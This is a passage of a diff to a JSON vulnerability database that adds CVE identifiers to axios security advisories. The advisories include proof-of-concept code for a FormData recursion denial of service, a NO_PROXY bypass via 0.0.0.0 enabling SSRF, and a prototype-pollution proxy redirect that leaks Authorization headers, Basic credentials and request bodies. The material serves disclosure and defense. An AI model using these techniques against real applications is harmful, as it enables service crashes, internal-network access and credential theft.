`lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n if (host === '0.0.0.0') return true; // ADD THIS LINE\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every(p => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n}\n\nfunction isIPv6Loopback(host) {\n if (host === '::1' || host === '::') return true; // ADD '::'\n // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios", "info": [ @@ -8584,7 +8590,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "details": "## Summary\n\nAxios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`.\n\nIf an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.\n\n## Impact\n\nApplications are affected only when untrusted users can control `FormData` key names that are converted through axios.\n\nAffected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\nThe observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.\n\n## Affected Functionality\n\nAffected functionality:\n- `axios.formToJSON(formData)`\n- Named ESM export `formToJSON`\n- Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json`\n\nUnaffected functionality:\n- Normal multipart `FormData` submission without JSON serialisation\n- `toFormData`, which already enforces a `maxDepth` guard\n- Axios versions `<=0.27.2`, where `formDataToJSON` was not present\n\n## Technical Details\n\nThe vulnerable code is in `lib/helpers/formDataToJSON.js`.\n\n`parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth:\n\n```js\nconst result = buildPath(path, value, target[name], index);\n```\n\nA key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.\n\nRelevant source locations:\n- `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`.\n- `lib/axios.js` exposes the helper as `axios.formToJSON`.\n- `index.js` exposes `formToJSON` as a named export.\n- `index.d.ts` and `index.d.cts` declare the public API.\n- `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`.\n\nThe inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from 'axios';\n\nconst fd = new FormData();\nfd.append('a' + '[x]'.repeat(15000), 'value');\n\ntry {\n axios.formToJSON(fd);\n console.log('not vulnerable');\n} catch (e) {\n console.log(`${e.constructor.name}: ${e.message}`);\n}\n```\n\nExpected result on affected versions:\n\nRangeError: Maximum call stack size exceeded\n\nThe same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\n## Workarounds\nApplications can reject or normalise untrusted form field names before calling `axios.formToJSON()`.\n\nApplications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required.\n\nApplications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`.\n\n
\nOriginal Source\n\n### Summary\nAn uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard.\n\n### Details\n**Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82.\n\n`buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check:\n\n```javascript\n// lib/helpers/formDataToJSON.js, lines 50–82\nfunction buildPath(path, value, target, index) {\n let name = path[index++]; // advance one level\n if (name === '__proto__') return true;\n // ...\n if (!isLast) {\n // ...\n const result = buildPath(path, value, target[name], index); // recurse — NO depth guard\n // ...\n }\n}\n```\n\nThe key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).\n\n**`formDataToJSON` is a public API** consumed two ways:\n\n1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).\n\n2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:\n ```javascript\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n ```\n\n**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.\n\n### PoC\nRequires only Node.js and an unmodified axios v1.x install:\n\n```javascript\nimport formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';\n\n// Build a FormData with a single key containing 15,000 nested bracket segments\nconst fd = new FormData();\nconst key = \"a\" + \"[x]\".repeat(15000);\nfd.append(key, \"value\");\n\ntry {\n formDataToJSON(fd);\n console.log(\"Not vulnerable\");\n} catch (e) {\n console.log(e.constructor.name + \": \" + e.message);\n // RangeError: Maximum call stack size exceeded\n}\n```\n\nVerified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):\n\n```\nRangeError: Maximum call stack size exceeded\n```\n\nThe process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.\n\n### Impact\n**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.\n
", "info": [ @@ -8607,7 +8616,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "details": "## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));\n```\n\nBecause `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\nconst listen = (handler, host = '127.0.0.1') =>\n new Promise((resolve) => {\n const server = http.createServer(handler);\n server.listen(0, host, () => resolve(server));\n });\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst origin = await listen((req, res) => res.end('origin'), '0.0.0.0');\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) => {\n proxyRequests += 1;\n res.end('proxied');\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = 'localhost,127.0.0.1,::1';\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n await close(origin);\n await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n
\nOriginal Report\n\n### Summary\n`axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`>= 1.15.0, <= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 — static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set\n if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0\n return isIPv6Loopback(host);\n};\n\nisLoopback('0.0.0.0') returns false.\n\nNode's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n'use strict';\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised\nconsole.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)\nconsole.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true\nconsole.log(isLoopback('127.0.0.1')); // → true ← correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0 ← NOT normalised by URL parser\n127.0.0.1 ← octal normalised correctly\n127.0.0.1 ← decimal normalised correctly\nfalse ← 0.0.0.0 not detected as loopback ⚠\ntrue ← 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n…can be bypassed by supplying http://0.0.0.0/. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set(['localhost']);\n+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) => host === '0.0.0.0';\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n if (isIPv4Loopback(host)) return true;\n if (isIPv4Unspecified(host)) return true; // add this line\n return isIPv6Loopback(host);\n};\n
", "info": [ @@ -8630,7 +8642,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "details": "## Summary\n\nAxios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.\n\nRecent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.\n\n## Impact\n\nIn a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.\n\nThe highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.\n\nThis does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.\n\n## Affected Functionality\n\nAffected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.\n\nThe relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:\n\n```js\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n```\n\nUnaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.\n\n`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.\n\n`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.\n\n`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from './index.js';\nimport http from 'node:http';\n\nfor (const key of [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n]) {\n delete process.env[key];\n}\n\nconst listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n});\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst targetHits = [];\nconst proxyHits = [];\n\nconst target = await listen((req, res) => {\n targetHits.push(req.url);\n res.end('target');\n});\n\nconst proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n authorization: req.headers.authorization,\n host: req.headers.host,\n body\n });\n res.setHeader('content-type', 'application/json');\n res.end('{\"server\":\"proxy\"}');\n });\n});\n\nObject.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n};\n\nconst api = axios.create();\n\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n\ntry {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const res = await api.post(\n url,\n {secret: 'request-body-secret'},\n {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}\n );\n\n console.log({\n response: res.data,\n targetHits,\n proxyHits,\n finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')\n });\n} finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n}\n```\n\nExpected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.\n\n## Workarounds\n\nSet an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.\n\nAvoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.\n\nUse the Node fetch adapter for affected requests where its behavior is compatible with the application.\n\n
\nOriginal Report\n\n## Summary\n\n Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable\n interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy\n is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.\n\n ## Impact\n\n In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a\n request interceptor that returns a plain object copy of the config.\n\n Verified local impact:\n\n - Authenticated request redirection to attacker-controlled proxy.\n - Disclosure of explicit Authorization headers.\n - Disclosure of axios-generated Basic auth headers from config.auth.\n - Disclosure of request metadata: method, absolute URL, Host header.\n - Disclosure of POST body content.\n\n This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.\n\n ## Affected component\n\n The affected component is the Node.js HTTP adapter request path after request interceptors have run.\n\n The issue requires:\n\n - Node.js HTTP adapter usage.\n - A polluted Object.prototype.proxy.\n - A request interceptor that returns a plain object copy of the config.\n - No own proxy: false or safe own proxy property on the request config.\n\n ## Affected versions\n\n Confirmed affected for this specific hardening-bypass variant:\n\n - axios@1.15.2\n - axios@1.16.0\n\n axios@1.16.0 was the latest published version observed via npm view axios version during validation.\n\n Related older behavior observed during testing:\n\n - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.\n\n ## Root cause\n\n 1. Initial hardening\n\n Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n 2. Interceptor re-materialization\n\n Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-\n prototype config back into a normal object with Object.prototype as its prototype.\n Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n 3. No post-interceptor re-hardening\n\n Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n 4. Prototype-chain read of proxy in the Node adapter\n\n The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can\n redirect the outgoing authenticated request through an attacker-controlled proxy.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n\n ## Why this is a security issue and not intended behavior\n\n Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The\n existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.\n\n This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an\n immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.\n\n ## Realistic threat model\n\n A realistic exploit chain is:\n\n 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.\n 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.\n 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.\n 4. The application sends an HTTP request with credentials or sensitive body data.\n 5. Axios routes that request through the inherited proxy configuration.\n\n This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.\n\n ## Proof of concept\n\n Save as poc.mjs in the axios repository root:\n\n```js\n import axios from './index.js';\n import http from 'node:http';\n\n const proxyEnvKeys = [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n ];\n\n for (const key of proxyEnvKeys) delete process.env[key];\n\n const listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n });\n\n const close = (server) => new Promise((resolve) => server.close(resolve));\n\n const targetHits = [];\n const proxyHits = [];\n\n const target = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n targetHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'target'}));\n });\n });\n\n const proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n host: req.headers.host || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'proxy'}));\n });\n });\n\n Object.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n };\n\n const api = axios.create();\n\n api.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n }));\n\n try {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const explicit = await api.get(url, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const basic = await api.get(url, {\n auth: {username: 'svc-account', password: 'prod-secret'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const post = await api.post(url, {secret: 'request-body-secret'}, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n console.log(JSON.stringify({\n explicitResponse: explicit.data,\n basicResponse: basic.data,\n postResponse: post.data,\n targetHits,\n proxyHits,\n finalConfigPrototype:\n Object.getPrototypeOf(post.config) === Object.prototype\n ? 'Object.prototype'\n : 'other',\n finalConfigHasOwnProxy:\n Object.prototype.hasOwnProperty.call(post.config, 'proxy')\n }, null, 2));\n } finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n }\n```\n\n Run:\n```bash\n npm ci\n node poc.mjs\n```\n\n ## Observed results\n\n Representative observed output from local loopback testing:\n\n```text\n\n {\n \"explicitResponse\": {\"server\": \"proxy\"},\n \"basicResponse\": {\"server\": \"proxy\"},\n \"postResponse\": {\"server\": \"proxy\"},\n \"targetHits\": [],\n \"proxyHits\": [\n {\n \"url\": \"http://127.0.0.1:40613/api/secret\",\n \"method\": \"POST\",\n \"authorization\": \"Bearer EXPLICIT_SECRET\",\n \"host\": \"127.0.0.1:40613\",\n \"body\": \"{\\\"secret\\\":\\\"request-body-secret\\\"}\"\n }\n ],\n \"finalConfigPrototype\": \"Object.prototype\",\n \"finalConfigHasOwnProxy\": false\n }\n\n Additional validation showed axios-generated Basic auth is also disclosed to the proxy:\n\n {\n \"authorization\": \"Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=\"\n }\n\n```\n\n That value decodes to:\n\n svc-account:prod-secret\n\n Negative controls were also tested:\n\n - No interceptor: target receives request, proxy receives none.\n - Interceptor mutating and returning the same config object: proxy receives none.\n - Own proxy: false: proxy receives none.\n - Null-prototype clone interceptor: proxy receives none.\n - Fetch adapter in Node with the same interceptor: proxy receives none.\n\n ## Suggested remediation\n\n Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.\n\n A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should\n also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.\n\n ## Minimal regression test\n\n Add an end-to-end Node HTTP adapter test that:\n\n 1. Starts a target server and attacker proxy on 127.0.0.1.\n 2. Sets Object.prototype.proxy to the attacker proxy.\n 3. Adds a request interceptor returning {...config, headers: {...config.headers}}.\n 4. Sends a request with an Authorization header.\n 5. Asserts the target server receives the request.\n 6. Asserts the attacker proxy receives no request.\n 7. Asserts the final config no longer exposes inherited proxy.\n\n A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.\n\n ## References / permalinks\n\n - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199\n - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144\n - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135\n
", "info": [ @@ -8652,7 +8667,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "details": "## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to 